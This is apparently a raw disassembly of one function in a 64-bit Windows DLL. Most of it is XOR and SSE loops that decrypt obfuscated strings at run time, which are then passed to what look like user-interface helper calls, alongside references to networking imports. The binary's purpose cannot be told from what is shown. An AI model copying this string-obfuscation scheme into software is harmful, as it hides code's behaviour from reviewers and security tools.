movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1800c1610
mov r8, r12
lea rdx, [0x1802b4380]
lea rcx, [rbp + 0x588]
call fcn.18003fb10
movsd xmm0, qword [0x180182f18]
movsd qword [rbp + 0x408], xmm0
movzx eax, word [0x180182f20]
mov word [rbp + 0x410], ax
cmp byte [0x180182f21], 0
je 0x1800c16c6
mov byte [rbp + 0x408], 0x45
xor byte [rbp + 0x409], 0x37
xor byte [rbp + 0x40a], 0x38
xor byte [rbp + 0x40b], 0x39
xor byte [rbp + 0x40c], 0x3a
xor byte [rbp + 0x40d], 0x3b
xor byte [rbp + 0x40e], 0x3c
xor byte [rbp + 0x40f], 0x3d
xor byte [rbp + 0x410], 0x3e
xor byte [rbp + 0x411], 0x3f
mov r8, r12
lea rdx, [0x1802b4381]
lea rcx, [rbp + 0x408]
call fcn.18003fb10
movsd xmm0, qword [str.wSUPTH]
movsd qword [rbp + 0x548], xmm0
mov ecx, dword [0x180182f30]
mov dword [rbp + 0x550], ecx
cmp byte [0x180182f33], 0
je 0x1800c18a2
mov r8d, edi
cmp r15d, 2
jl 0x1800c185c
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.wSUPTH]
xorps xmm1, xmm0
movd dword [rbp + 0x548], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x54c]
xorps xmm2, xmm1
movd dword [rbp + 0x54c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x550], xmm2
jmp 0x1800c18a2
lea r9, [rbp + 0x548]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x24924925
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1800c1870
mov r8, r12
lea rdx, [0x1802b4382]
lea rcx, [rbp + 0x548]
call fcn.18003fb10
mov cl, 1
call fcn.18000c5c0
mov dword [rbp + 0x1f0], 0x439d0000
mov dword [rbp + 0x1f4], 0x41400000
lea rcx, [rbp + 0x1f0]
call fcn.18001a0a0
mov dword [rbp + 0x1f8], 0x43910000
mov dword [rbp + 0x1fc], 0x436b0000
movsd xmm1, qword [str.eRLMSU_N_]
movsd qword [rbp + 0x348], xmm1
movzx eax, byte [0x180182f40]
mov byte [rbp + 0x348], 0x53
xor byte [rbp + 0x349], 0x37
xor byte [rbp + 0x34a], 0x38
xor byte [rbp + 0x34b], 0x39
xor byte [rbp + 0x34c], 0x3a
xor byte [rbp + 0x34d], 0x3b
xor byte [rbp + 0x34e], 0x3c
xor byte [rbp + 0x34f], 0x3d
xor al, 0x3e
mov byte [rbp + 0x350], al
mov qword [rsp + 0x28], r12
lea rax, [0x18017cbc0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x1f8]
lea rcx, [rbp + 0x348]
call fcn.180008f00
movsd xmm0, qword [0x180182f48]
movsd qword [rbp + 0x538], xmm0
mov ecx, dword [0x180182f50]
mov dword [rbp + 0x540], ecx
cmp byte [0x180182f53], 0
je 0x1800c1b32
mov r8d, edi
cmp r15d, 2
jl 0x1800c1af4
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x180182f48]
xorps xmm1, xmm0
movd dword [rbp + 0x538], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x53c]
xorps xmm2, xmm1
movd dword [rbp + 0x53c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x540], xmm2
jmp 0x1800c1b32
lea r9, [rbp + 0x538]
nop dword [rax + rax]
mov eax, 0x24924925
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x1800c1b00
mov r8, r12
lea rdx, [0x1802b4461]
lea rcx, [rbp + 0x538]
call fcn.18003fb10
movsd xmm0, qword [str.rKM_U_X_]
movsd qword [rbp + 0x358], xmm0
movzx eax, byte [0x180182f60]
mov byte [rbp + 0x358], 0x44
xor byte [rbp + 0x359], 0x37
xor byte [rbp + 0x35a], 0x38
xor byte [rbp + 0x35b], 0x39
xor byte [rbp + 0x35c], 0x3a
xor byte [rbp + 0x35d], 0x3b
xor byte [rbp + 0x35e], 0x3c
xor byte [rbp + 0x35f], 0x3d
xor al, 0x3e
mov byte [rbp + 0x360], al
mov dword [rsp + 0x28], edi
lea rax, [0x1801389e8]
mov qword [rsp + 0x20], rax
mov r9d, 0xbb8
mov r8d, 1
lea rdx, [0x1801ae928]
lea rcx, [rbp + 0x358]
call fcn.180047390
movups xmm2, xmmword [str.xVUIehXFK_]
movups xmmword [rbp + 0xa20], xmm2
movzx eax, word [0x180182f78]
mov word [rbp + 0xa30], ax
movzx eax, byte [0x180182f7a]
mov byte [rbp + 0xa32], al
mov r8d, edi
cmp r15d, 2
jl 0x1800c1dc5
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd ecx, xmm13
movd xmm0, ecx
paddb xmm1, xmm0
movd eax, xmm2
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp + 0xa20], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa24]
xorps xmm2, xmm1
movd dword [rbp + 0xa24], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa28]
xorps xmm2, xmm1
movd dword [rbp + 0xa28], xmm2
movdqa xmm1, xmm15
punpckldq xmm1, xmm15
pmuldq xmm1, xmm7
movdqa xmm0, xmm15
punpckhdq xmm0, xmm15
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm15
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm15
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, ecx
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa2c]
xorps xmm2, xmm1
movd dword [rbp + 0xa2c], xmm2
mov r8d, reloc.WS2_32.dll_recv
mov eax, r8d
lea r9, [rbp + 0xa20]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x13
jl 0x1800c1de0
mov r8, r12
lea rdx, [0x1801ae922]
lea rcx, [rbp + 0xa20]
call fcn.18003fb10
movsd xmm0, qword [str.rKM_U_T_]
movsd qword [rbp + 0x718], xmm0
mov ecx, dword [0x180182f88]
mov dword [rbp + 0x720], ecx
movzx eax, word [0x180182f8c]
mov word [rbp + 0x724], ax
movzx eax, byte [0x180182f8e]
mov byte [rbp + 0x726], al
mov r8d, edi
cmp r15d, 2
jl 0x1800c1fbb
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.rKM_U_T_]
xorps xmm1, xmm0
movd dword [rbp + 0x718], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x71c]
xorps xmm2, xmm1
movd dword [rbp + 0x71c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x720], xmm2
mov r8d, ntohl
mov eax, r8d
lea r9, [rbp + 0x718]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1800c1fd0
mov r8, r12
lea rdx, [0x1802b4462]
lea rcx, [rbp + 0x718]
call fcn.18003fb10
movsd xmm0, qword [0x180182f90]
movsd qword [rbp + 0x668], xmm0
mov ecx, dword [0x180182f98]
mov dword [rbp + 0x670], ecx
movzx eax, word [0x180182f9c]
mov word [rbp + 0x674], ax
cmp byte [0x180182f9d], 0
je 0x1800c21f3
mov r8d, edi
cmp r15d, 2
jl 0x1800c21ab
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x180182f90]
xorps xmm1, xmm0
movd dword [rbp + 0x668], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x66c]
xorps xmm2, xmm1
movd dword [rbp + 0x66c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x670], xmm2
mov r8d, ntohl
mov eax, r8d
lea r9, [rbp + 0x668]
add r9, rax
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1800c21c0
mov r8, r12
lea rdx, [0x1801ae921]
lea rcx, [rbp + 0x668]
call fcn.18003fb10
movsd xmm0, qword [str.bR_M]
movsd qword [rbp + 0x3f8], xmm0
movzx eax, word [0x180182fa8]
mov word [rbp + 0x400], ax
cmp byte [0x180182fa9], 0
je 0x1800c2276
mov byte [rbp + 0x3f8], 0x54
xor byte [rbp + 0x3f9], 0x37
xor byte [rbp + 0x3fa], 0x38
xor byte [rbp + 0x3fb], 0x39
xor byte [rbp + 0x3fc], 0x3a
xor byte [rbp + 0x3fd], 0x3b
xor byte [rbp + 0x3fe], 0x3c
xor byte [rbp + 0x3ff], 0x3d
xor byte [rbp + 0x400], 0x3e
xor byte [rbp + 0x401], 0x3f
mov dword [rsp + 0x28], edi
lea rax, str._.3f
mov qword [rsp + 0x20], rax
movss xmm3, dword [0x180138ba8]
movaps xmm2, xmm14
lea rdx, [0x1801ae92c]
lea rcx, [rbp + 0x3f8]
call fcn.180047340
mov cl, 1
jmp 0x1800c3d6a
test eax, eax
jne 0x1800c3d6f
mov dword [rbp + 0x200], 0x42aa0000
mov dword [rbp + 0x204], 0x42700000
lea rcx, [rbp + 0x200]
call fcn.18001a0a0
mov qword [rbp + 0x208], 0
mov eax, dword [str.pEYT__]
mov dword [rbp + 4], eax
movzx eax, word [0x180182fb0]
mov word [rbp + 8], ax
mov byte [rbp + 4], 0x46
xor byte [rbp + 5], 0x37
xor byte [rbp + 6], 0x38
xor byte [rbp + 7], 0x39
xor al, 0x3a
mov byte [rbp + 8], al
xor byte [rbp + 9], 0x3b
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r12
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x208]
lea rcx, [rbp + 4]
call fcn.180008f00
mov dword [rbp + 0x210], 0x41400000
mov dword [rbp + 0x214], 0x41400000
lea rcx, [rbp + 0x210]
call fcn.18001a0a0
movzx eax, word [0x180182fc0]
mov word [rbp - 0x60], ax
cmp byte [0x180182fc1], 0
je 0x1800c2368
mov byte [rbp - 0x60], 0x34
xor byte [rbp - 0x5f], 0x37
lea r10, [rbp - 0x60]
mov dword [rbp + 0x218], 0x43910000
mov dword [rbp + 0x21c], 0x43910000
mov rax, qword [str.qRVHZP]
mov qword [rbp + 0x220], rax
cmp byte [0x180182fbf], 0
je 0x1800c24c2
mov r8d, edi
cmp r15d, 2
jl 0x1800c2487
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm6
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd eax, xmm13
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x220]
xorps xmm2, xmm1
movd dword [rbp + 0x220], xmm2
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x224]
xorps xmm2, xmm1
movd dword [rbp + 0x224], xmm2
jmp 0x1800c24c2
lea r9, [rbp + 0x220]
nop
mov eax, 0x24924925
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1800c2490
mov qword [rsp + 0x28], r12
mov qword [rsp + 0x20], r10
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x218]
lea rcx, [rbp + 0x220]
call fcn.180008f00
movsd xmm0, qword [0x180182fd0]
movsd qword [rbp + 0x678], xmm0
mov ecx, dword [0x180182fd8]
mov dword [rbp + 0x680], ecx
movzx eax, word [0x180182fdc]
mov word [rbp + 0x684], ax
cmp byte [0x180182fdd], 0
je 0x1800c26c3
mov r8d, edi
cmp r15d, 2
jl 0x1800c2677
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [0x180182fd0]
xorps xmm1, xmm0
movd dword [rbp + 0x678], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x67c]
xorps xmm2, xmm1
movd dword [rbp + 0x67c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x680], xmm2
mov r8d, ntohl
mov eax, r8d
lea r9, [rbp + 0x678]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1800c2690
mov eax, dword [str.sYY_V_]
mov dword [rbp + 0x1c], eax
movzx eax, word [0x180182fc8]
mov word [rbp + 0x20], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0x1c], 0x45
xor byte [rbp + 0x1d], 0x37
xor byte [rbp + 0x1e], 0x38
xor byte [rbp + 0x1f], 0x39
xor byte [rbp + 0x20], 0x3a
xor byte [rbp + 0x21], 0x3b
xor al, 0x3c
mov byte [rbp + 0x22], al
lea r8, [rbp + 0x678]
lea rdx, [0x1802b4489]
lea rcx, [rbp + 0x1c]
call fcn.18003fb10
movsd xmm0, qword [str.wU_UO]
movsd qword [rbp + 0x728], xmm0
mov ecx, dword [0x180182fe8]
mov dword [rbp + 0x730], ecx
movzx eax, word [0x180182fec]
mov word [rbp + 0x734], ax
movzx eax, byte [0x180182fee]
mov byte [rbp + 0x736], al
mov r8d, edi
cmp r15d, 2
jl 0x1800c28a4
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [str.wU_UO]
xorps xmm1, xmm0
movd dword [rbp + 0x728], xmm1
movdqa xmm1, xmm8
punpckldq xmm1, xmm8
pmuldq xmm1, xmm7
movdqa xmm0, xmm8
punpckhdq xmm0, xmm8
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm8
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm8
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x72c]
xorps xmm2, xmm1
movd dword [rbp + 0x72c], xmm2
movdqa xmm1, xmm9
punpckldq xmm1, xmm9
pmuldq xmm1, xmm7
movdqa xmm0, xmm9
punpckhdq xmm0, xmm9
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm9
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm2, xmm9
psubd xmm2, xmm0
andps xmm2, xmm10
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, ecx
xorps xmm2, xmm1
movd dword [rbp + 0x730], xmm2
mov r8d, ntohl
mov eax, r8d
lea r9, [rbp + 0x728]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1800c28c0
lea rdx, [0x1801ae944]
lea rcx, [rbp + 0x728]
call fcn.1800450a0
movsd xmm0, qword [0x180182ff0]
movsd qword [rbp + 0x368], xmm0
movzx eax, byte [0x180182ff8]
mov byte [rbp + 0x368], 0x53
xor byte [rbp + 0x369], 0x37
xor byte [rbp + 0x36a], 0x38
xor byte [rbp + 0x36b], 0x39
xor byte [rbp + 0x36c], 0x3a
xor byte [rbp + 0x36d], 0x3b
xor byte [rbp + 0x36e], 0x3c
xor byte [rbp + 0x36f], 0x3d
xor al, 0x3e
mov byte [rbp + 0x370], al
mov r8, r12
lea rdx, [0x1802b448a]
lea rcx, [rbp + 0x368]
call fcn.18003fb10
mov eax, dword [str.pxn9eZWVNSUSY_]
mov dword [rbp - 0x4c], eax
cmp byte [reloc.WS2_32.dll_gethostname], 0
je 0x1800c2a32
mov r8d, edi
cmp r15d, 2
jl 0x1800c29f3
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm7
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm7
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm11
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm10
packuswb xmm1, xmm1
packuswb xmm1, xmm1
paddb xmm1, xmm13
movd xmm0, eax
xorps xmm1, xmm0
movd dword [rbp - 0x4c], xmm1
jmp 0x1800c2a32
lea r9, [rbp - 0x4c]
nop word [rax + rax]
mov eax, 0x24924925
mul r8d
mov eax, r8d
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul ecx, eax, 0x38
movzx eax, r8b
sub al, cl
add al, 0x36
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 4
jl 0x1800c2a00
mov dword [rsp + 0x28], edi
lea rbx, [0x1801389e8]
mov qword [rsp + 0x20], rbx
mov r9d, reloc.WLDAP32.dll_Ordinal_50
mov r8d, 1
lea rdx, [0x1801ae940]
